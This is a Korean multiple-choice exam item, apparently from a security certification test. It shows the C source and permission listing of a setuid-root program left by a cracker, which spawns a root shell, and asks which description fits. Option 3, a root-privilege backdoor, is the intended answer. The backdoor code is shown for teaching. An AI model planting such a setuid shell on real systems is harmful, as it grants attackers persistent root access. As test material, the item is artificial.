20. 다음은 크래커 A가 남긴 C소스 코드와 바이너리 파일이다. 이에 대한 설명으로 적합한 것은?
$ls -l total 20 -rwsr-wr-x 1 root root 1435 Oct 7 21:13 test -rw-rw-r-- 1 root root 88 Oct 7 21:12 test.c $ cat test.c #include void main() { setuid(0); setgid(0); system("/bin/bash"); }
- 1setgid 시스템 콜의 인자를0으로 준 것으로 보아 Race Condition 기법의 공격이다.
- 2/bin/sh를 실행시키는 것으로 보아 Sniffing 기법이다.
- 3setuid 시스템 콜의 인자가 0이고 컴파일된 바이너리 파일의 퍼미션이 4755인 것으로 보아 루트 권한을 탈취하는 백도어이다.
- 4main 함수의 리턴형태가 void 이므로 Format String Attack으로 보인다.